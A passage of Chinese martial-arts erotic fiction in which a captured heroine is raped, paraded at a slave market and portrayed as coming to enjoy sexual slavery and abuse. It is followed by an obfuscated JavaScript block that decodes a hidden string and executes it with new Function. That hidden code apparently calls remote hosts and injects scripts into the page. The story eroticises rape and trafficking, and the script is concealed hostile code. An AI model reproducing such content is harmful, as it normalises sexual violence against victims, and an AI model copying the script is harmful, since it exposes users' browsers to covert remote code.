一个山贼给了雨芬一条毛巾让她擦干净,随后又用绳子把她五花大绑起来仍然全身赤裸的带上了议事厅。
「刘叔叔,你认得这个女人么?她是我上次抓到的,怎么样不错吧,刘叔叔有兴趣的话就让她陪陪您。」殷敬指着拉进来的林雨芬。
刘德看到这么个绝色美女也歹心顿起,急忙下座走到林雨芬身前动手动脚的,流连了很久一边感叹着一边对殷敬说:「没想到这偏僻地方还有这样的美人阿!」
殷敬颇为得意:「实不相瞒,她并非本地人,上次我屠杀那个村子,这小妞路过非要出头被我略施小姐捉住,我想倾国女侠的名头您也知道吧,她就是那个林雨芬。」
说罢,殷敬就等着刘德好好的表扬他一番,不想刘德脸色忽然一沉,一挥手让人把林雨芬带走,然后怒气冲冲的对殷敬说:「她真的是林雨芬么?」
「是啊!」
「混账!」刘德骂道,「这林雨芬你知道是谁阿!她爸爸林浩和我还有你爸爸是老交情阿,当年我和你爸爸一起做打家劫舍的勾当被白道追杀,多亏当时林浩网开一面我们才逃得一命,这才有你,你怎么能对他女儿这样!」
「可是刘叔叔事已至此,我也不能放了她,她要是回去我也没有好果子吃。」
「不成,你必须放了她!你不看在你死去的爹份上,也看在我份上,这样,就当我跟你买她,五万两怎么样?」刘德怒道。
殷敬冲刘德行了一礼:「刘叔叔,如果您老喜欢她我送给您也没问题,只是您要放了她无论如何也不可以,我也要为我身家性命着想,不如就此一刀结果了她……」
「你敢!看来你是铁了心了,算了,我不管了,不过日后她爸爸来寻仇你不要说我知道此事就罢了。只是你要害她性命,不待别人,我先做了你。」刘德叹道,起身就走,也不管殷敬的千留万留。
深夜,在被愤怒的殷敬疯狂凌虐之后,林雨芬再次被扔到了她那睡了三个月的茅草垛中很快睡着了。忽然一个黑影闪了进来,他走到林雨芬身旁拍醒了她,低头轻声告诉雨芬:「别怕,跟我走。」从声音看是个男的,他说着砍断了林雨芬身上的绳索然后又扔给林雨芬一件夜行衣。
不久,林雨芬穿上了夜行衣和那人一起离开。很快就摸到了寨门,寨门口的看门山贼已经被打晕了,看来是那人来时的杰作了。俩人飞快地冲向大门,当走到门洞时,林雨芬感到地上忽然下陷,然后身下的地板就撤开露出了个大洞,自己真个人都掉了下去,幸好那夜行人一把抓住了雨芬把她救上来,雨芬这才看到了自己踩中了作为机关开关的那块砖,而此时坑内依稀看到了几十根绳子从四面飞出,如果这样掉下去真是在劫难逃了。
不过触动机关后的声音还是惊动了山贼,很快一群山贼就冲了出来,那人急忙拉着林雨芬向山下逃走,因为林雨芬功力被制无法催动轻功,跑了一会儿就受不了了,要不是那个人拉着真的会再次落入魔掌。
终于两个人到了安全地带,林雨芬行礼道:「多谢英雄救命之恩,只是不知阁下尊姓大名?」
那人摇了摇手说道:「在下姓名不足挂齿,重要的是你被救出来了。」
林雨芬又想让那人揭下面具相认,也被那人拒绝,他只说:「有一言请姑娘思量,如果你这几个月的事情被人知道对你将来肯定大大不利,不如就此隐忍了吧,也不要想报仇了,凭姑娘一个人对付这么一大伙山贼肯定危险,而如果姑娘找人帮忙,姑娘的贞洁也就没了。」
林雨芬咽不下这口气,但是却知道那人的话很有理,只好狠狠地跺了跺脚,不久她辞别了那个不愿透露姓名的人消失在了夜幕中。
看着林雨芬离开的背影,那男人揭下了面具,原来他是刘德,刘德叹了口气,说道:「但愿这样能对得起两位老朋友吧。」
第三章、自由
魏州这个位于黄河以北的城市并不十分重要,直到一百多年后它才成为着名的藩镇魏博的首府,不过在时下的河北江湖中这个城市却人尽皆知,倒不是这里有什么出名的大门大派,只因为这里有着着名的地下交易市场,河北刚刚平定,各出还有很多盗匪,而魏州临着黄河又不是什么军事重镇,治安状况在全国排在倒数,因此给江湖上尤其是河北一带的黑道的私下交易提供了绝佳的场所。
在魏州城南二十里的刘家庄就是着名的人口贸易集散地,一伙人赶着两量大车来到了庄口,为首的朝看门的家丁作了个手势,那家丁自然明白忙吩咐人带着这些人从侧门进去,那为首的人下了马吩咐手下把车卸了,于是就看到第一辆量大车内走出来被五花大绑的十几个女子,这些女人十五-三 十 五 岁不等,但是共同的特点是衣着光鲜,为首的几个颇有一些大家闺秀的气质,虽然不能算绝色美女但也是堪称上乘,不过从她们被堵着的小嘴中发出的「呜呜」的呻吟声还是能够感到这些人心中的恐惧。
吩咐手下把那些女人重新用绳子串好,这为首的人才走到第二辆大车前毕恭毕敬的行礼道:「老大,刘家庄到了。」
「好。」车种却传来的是殷敬的声音。
殷敬这一阵真是走运,抓了林雨芬后又带队去劫了山下保护森严的李家庄,大赚了一笔,把李家十几个女的抓回山上好好的把玩了一阵就想起拿手头这些活货到魏州换点钱花。
殷敬掀开车帘一个箭步跳下车,双手却还在系腰带,两个手下却早已到车里收拾了。
此时车里已是一幅淫靡的景象,一个大汗淋漓的女人赤身裸体的上半身被严严密密的捆住,脖子上戴着皮项圈被系在车顶的绳子把头吊在空中,一头秀发如泻的垂到地上把面庞都遮住了,只是一滩湿湿的口水积在车板上,还能听到轻轻的娇喘声。
女人的两条美腿被分开捆在车后的两侧,而臀部正对着车厢中得座位,阴道周围还有一滩白色的液体清晰可辨,可见殷敬刚才就是这样坐在车里玩弄着这个可怜的女人,车厢壁上挂着一条皮鞭,还有一根被削成阳具状的木棍明显是为了增加情趣的工具。
手下费了很大力气才把这个女人给解下来,但是却仍然留着上半身的束缚,双脚又被戴上了一副脚镣站在地上。
这时才看清了女人的容貌,正是林雨芬,自从第二次被抓,她又被殷敬玩弄了足足二个月,在这期间,她几乎无时无刻不被阳具充满,真真正正的成为了一个性玩具,不过她的身材也越来越性感了。
殷敬牵起林雨芬项圈上的绳子径自拉着她向前面的一座大屋子走去,而林雨芬则踉踉跄跄的跟着,后面是几个手持皮鞭木棍的手下不停的抽打着她完美的身体。
这间大屋就是刘家庄的秘密交易场所,殷敬进了屋,里面早已是一片灯火通明,各地的人贩子聚集在这里带着自己的「货物」在里面站了一片。
林雨芬艰难的跟随着殷敬也注意了一下身旁的景象,大屋左右各有一个大台子,右侧的台子上正在展出这殷敬带来的那些女人,她们都被拴在台上的一根大横木上排成一排等着人挑选,有的人被人挑开裙子看着私处,也有几个人脱下了女人们的上衣在揉捏,雨芬亲眼看见李家的二小姐被人用五十两银子买下被脱光了衣服关到笼子里放到了一旁的「货物寄存处」。
男左女右,右侧的台子是展览女奴的,而左侧的台子上则展览着十几个男丁,统统被拴在台上的一根大横木上等着台下的人购买,其中有身强力壮一看就是扛长活出来的壮汉,也有几个很斯文,看起来比较渊博的小白脸,另有一个人正裸露着下身,一根极其巨大的阳具直直的挺起。
殷敬牵着林雨芬走到左面的台前瞟了两眼台子上的男奴,很快就把目光聚集在了那个挺着鸡巴的人上,他走过去用皮鞭挑了挑那个粗壮的阳具,然后一把把林雨芬拉到身边,扭着她的头让她看着这个阳具:「怎么样?想要吧?」
这个人的阳具比起这几个月来反复奸淫自己的任何一个男人都大得多,虽然也已经身经百战,可是雨芬仍然倒吸了一口凉气,如果被这样的鸡巴干一定是神仙一般的感觉,想着想着雨芬竟然主动的要靠过去。
殷敬见状一脚把林雨芬踹倒到那个男人跟前,随后雨芬的臀部就被激烈的皮鞭轰炸:「真tm的贱,看见鸡巴就想被操,还女侠呢!就是头母狗!」
林雨芬却并不管身后的皮鞭,拼了命的爬过去一口就把那粗大的阳具含进嘴里忘情的吸允,以至于在场的人纷纷围观过来看这幅淫靡的景象。
「老兄,」一个有些肥的中年人走到殷敬身边说到,「这个男的是我在幽州那边买来的,我看你这女人挺喜欢的,怎么样买了吧。」
「算了吧,这样的货色只有长安的贵妇们才买得起,这条母狗哪配享受这样的待遇!」说着殷敬猛地一下拽起绳子把意犹未尽的林雨芬拽了回来牵着走进了一个有些昏暗的小单间。
「殷兄,这次你带来的女人很不错嘛。」一进屋就有人开口了。
「没想到这娘们这么贱,抓她时她可泼着呢,好几个弟兄死在她剑下,可现在看看她就是一个整天想着被操的母狗罢了。」殷敬走到一把太师椅前坐下,而林雨芬则乖巧的对着殷敬跪下,让殷敬的两条腿分别搭在她的双肩上然后开始给殷敬口交,而这个屋子里面坐着的七、八个人也都有一个女人在这么伺候他们。
这间屋子是专门为老主顾设置的休息室,这些人都是有名的奴隶贩子,每次来这里买卖基本已经不亲自过问只是派手下去做,自己则都在这间屋子里面休息,有时碰上一些好货大家就干脆在这屋子里面交易了,殷敬也是其中的一员。
「你说什么?这妞杀了你好几个弟兄?」那个刚刚说话的人问道。
「可不么?这妞功夫可了得着呢。」——毕竟林雨芬的父母都是江湖上成名的老前辈了,在江湖上罕有敌手,所以殷敬也不敢把林雨芬身份说出来免得惹祸上身。
「我不信,她既然这么厉害为什么还被你抓住了。」
殷敬指了指自己的脑袋,「要靠这个你明白么?」
「你小子就吹把。」另一个一身白衣的接过了话茬。
「你们以为我怎么能凭着我这点人端了那开镖局的李家庄?那可是北边最大的三家镖局之一阿。」
「你小子走运呗。」
「那你就错了!」殷敬颇为自得拍了拍正努力给自己口交的林雨芬的脑袋,「全靠了她,就是她把李家的四大镖师给干掉我才得手的。」
在座诸人都吃了一惊,有些难以置信,可殷敬却以一种不能否定的语气继续说:「她杀了四大镖师后又假装失手被擒然后被李家庄的人轮**,这样他们守备就放松了我们才得手。」
在一片不可置信中,那白衣人最先开口:「她要这么厉害你怎么能抓住她?」
「确实厉害,第一次我抓她后玩了三个月让她跑了,不过后来她自己又送上门来被我抓住到现在。」
这样一说就更让人不信了,但是殷敬却微微一笑拍了一下雨芬,示意雨芬停止口交,然后指了一下屋子中央,林雨芬就径自走到屋子正中跪下,「母狗,你自己说说你是怎么被擒的?」
「半年多前,我和……啊!」雨芬刚开始说就被殷敬抽了一鞭子。
「贱人,你也配叫我?」
「是是。」林雨芬忙说:「是贱人是贱人。」
于是林雨芬就把自己第一次失手被擒后的事儿原原本本的交待了,一直说到被黑衣人救出来,不过她自己也没有把她的身份说出来。
那白衣人叹道:「也是有理,你已经这样了告诉谁来给你报仇都有损你的清誉。」
「你丫傻了吧!」殷敬说道,「这么个贱人有个什么清誉!」说罢就引来了一阵哄笑。
殷敬挥手示意林雨芬继续说下去。
于是雨芬缓缓说道:「贱人被黑衣人救出后本想回家,但是想到如果回去被发现了这一段时间的事情那就没法活了,所以贱人只好四处乱逛。」
「虽然逃出来但是贱人发现自己并不高兴,反而内心里甚至有些遗憾,总是若有所失的,贱人觉得肯定是不能报仇所致,所以就决定要努力练功然后一个人回去报仇。」
「有一天贱人正在郊外练武,忽然听到有人在喊救命,于是就跑了过去看到正有几个盗贼正在打劫,贱人就跑上去把他们都收拾了,没想到这是一伙女贼,后来贱人就把他们送到了官府。」
「贱人帮官差把她们押到牢里,官差说要给贱人作个笔录,于是就在牢里的一张桌子前坐下,而当时那几个女贼被抓住后就被捆在行刑架上被狱卒鞭打。」
「贱人忽然觉得那皮鞭抽在皮肤上的声音特别动听,看到那些女人被拷打心也怦怦的跳,感到特别刺激浑身发紧、发热,就像被干一样,后来下面竟然湿了,连官差都问贱人脸怎么有些发红,是不是牢里太热了。」
「哈哈哈」那白衣人笑道:「这贱人发情了!」
「对啊,贱人当时确实发情了呢,差一点就到了高潮,当时真是羡慕那几个女贼,甚至幻想是自己被抓住了呢。」
「贱人离开官府后就想难道这一阵觉得难受是因为没有被虐待么?难道贱人竟然喜欢被人虐待阿!当时贱人很踌躇,想如果真是那样的话真是丢死人了,可是渐渐的贱人发现贱人总是下意识的背着双手,走路也只是用很小的步幅,就想被人捆绑着一样,后来贱人就幻想着自己是被人捆绑着走路,然后下体就湿了,到后来贱人就越来越确信贱人是受虐狂了。」
「然后你就又回去找殷老兄?」
「嗯……贱人觉得应该去确认一下贱人到底是不是受虐成性,就想回去测试一下。」林雨芬说到这引来了全屋人的一阵哄笑。
可是林雨芬却并不觉得害羞,反而说的更加兴高彩丽:「呵呵,贱人当时想,如果发现不喜欢虐待,就找机会逃跑,因为贱人这一阵练功已经打通了七经八脉,武功大增,虽然还不能挣断绳索,但是找个机会在束缚比较松的时候逃走还是有希望的;但是,如果贱人真的是个受虐狂,那贱人会很高兴留在主人的山寨里当一辈子性奴。」
「那你不会是就跑回去跟殷兄说想当奴隶吧?」
「呵呵,贱人当时也怕就那么过去跟主人说贱人想被虐太没面子了,就……就想出以报仇为借口假装失手被擒,正好贱人逃走的时候无意发现了寨门有个陷阱,于是贱人回去后就主动触发了这个机关乖乖的被抓住。埃,不过贱人觉得当时自己好傻,其实就是主动去直接说要当性奴又如何呢?其实贱人就是个天生的性奴呢。」林雨芬说着颇有些高兴。
「哈哈,这么说你发现你自己确实喜欢受虐?」
林雨芬得意的答道:「当然了,又经过了这两个月的调教,贱人发现贱人真真正正的爱上了受虐呢,贱人甚至觉得头二十年都白活了,现在才是真正的生活啊,把自己完完全全的交给别人,让别人任意玩弄你处置你甚至杀死你,被无情的鞭打虐待,受到所有人的唾弃,无论面对任何人自己都是最下贱的那个,想想都让人发情了呢。」
那白衣人转身对殷敬说到:「殷兄,这个女人太好了,不如卖给小弟吧,我出白银万两。」
「我二万。」
「三万!!」
殷敬感到很得意,但是却并不想卖掉这个美女性奴。「大家别误会阿,我带她来只是排遣旅途劳顿,可不是打算卖她啊,这么个完美的性奴,谁舍得卖呢?」
在众人的失望中林雨芬又爬回到殷敬身前张开了那美丽性感的小嘴。
那天的交易一直持续到很晚,殷敬赚了将近一万两白银自然非常高兴但是天色很晚了那些人贩子就全都住在了刘家庄。
「啪!啪!」两声清脆的鞭响夹杂着女人的呻吟从殷敬的房中传出来。
「贱货,想要你的人还真不少,我看你也很想换个主人吧?」
此时殷敬正躺在床上,在他身上是依然被五花大绑的林雨芬,她的大腿和小腿对折捆好跨在了殷敬的身上,阴道则被殷敬的阳具所占据,殷敬只是静静的躺在床上并没有活动,但是林雨芬却很享受的发出浪叫,而她自己的身体也一上一下的来回运动,原来一根绳子穿过林雨芬捆住的双手连到房顶的一根弹簧上,这个弹簧旁有齿轮是屋外的水车提供动力,令弹簧始终都上下运动,这样林雨芬也只能被绳子带的主动做活塞运动。
「啊……主人……贱人是主人的母狗……随主人处置。」林雨芬在性的刺激中努力的说出了这句话。
「你这种母狗,只要有人虐你就知足了,还在乎谁虐你?」说着殷敬又是一鞭,林雨芬还要说什么却被殷敬堵住了嘴,他把林雨芬移到一根直径三厘米的木桩上把阴道插了进去,然后林雨芬就自动地在上面上上下下。
「好了,我也累了,你自己爽吧。」殷敬捏了捏林雨芬的乳头然后就回去睡觉了,于是就只能听到林雨芬偶尔发出的微弱「呜呜」声——如果声音太大吵醒了殷敬,那么第二天一天都不会被虐待了。
第二天一早,殷敬还在梦乡中,林雨芬仍然在上上下下的不停运动但是也睡着了——现在她已经习惯了。
一阵噪杂声吵醒了殷敬,他骂骂咧咧的穿上衣服出门。「妈的,谁阿吵老子好觉!」
「老大,快跑吧!官兵来啦」一个山贼衣衫不整的边跑边喊。
「怕什么!」殷敬并不慌忙:「这里的官府和刘家庄都有勾结,就算派兵来也就是走个形式,你们快去把里面那母狗卸下来一会儿上路。」
「这次……这次好像是真的,前面已经开打了!」
「什么?」连殷敬也有些怕了,这里的官府每年都收到很多贿赂所以对魏州的非法交易都是睁一只眼闭一只眼,虽然也派兵来过但都是应付事儿,没想到这次居然打起来了!
事情有些不妙,殷敬连忙跑进屋解下雨芬,可能是太累了,林雨芬还在梦中,倒是被从木棍上拿下来没了刺激却把她弄醒了,殷敬什么也没说,找了两个人把林雨芬塞进了一个笼子里然后飞也似的跑去马圈上了车就逃。
但是一切都来不及了,就在他们要出后门的时候官兵四至把他们团团围住,对峙了不到一分钟殷敬一伙就全被抓住了。
原来这次清剿是由朝廷河北道总管主持的,魏州的衙门事前根本不知情,所以这次不仅对刘家庄,整个魏州的黑势力都受到了重创。
林雨芬被人从铁笼里面救了出来时仍然是一丝不挂,官兵们帮她把绳子解开她却仍然紧紧地背着双手,一点看不出获救后的兴奋。
一个军官把林雨芬等被贩卖的人带到一起然后说了两句就告诉他们自由了,大家都很高兴,但是林雨芬却忽然跳出来双手往前一伸说道:「我自首,我也是人贩子,你们把我带走吧。」
原来林雨芬看到殷敬他们被抓走知道自己不能再被虐了,就想到干脆认罪在牢里能得到自己想要的那种生活,所以就迫不及待的认罪了。
那军官并不相信,笑道:「姑娘,你刚才被捆成那样怎么可能是人贩呢?你还是赶紧回家吧。」
「哼,你不信?李家庄的命案就是我带人去的。」林雨芬说着还捡起一块砖用手一掰九断成了两截。
那军官还不信,雨芬看到身旁就是李家庄的女眷们,急忙指着她们说:「这些就是李家庄的女眷你们可以问她们。」
面对军官询问的目光,李家的女人们开口了:「大人,这个姑娘也是受害者啊,她被山贼当诱饵扔进我们庄,后来又被他们抓回去天天蹂躏,我们被押送过来的时候只是被捆绑坐在车上,可是她一路都被山贼头目玩弄着,她可是可怜人啊。」
得到了这样的答复,军官于是就很不耐烦的派人把在别人看来有点歇斯底里的仍然在喊着自己是人贩的林雨芬架出了刘家庄让她谋出路去了。
【完】
!function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();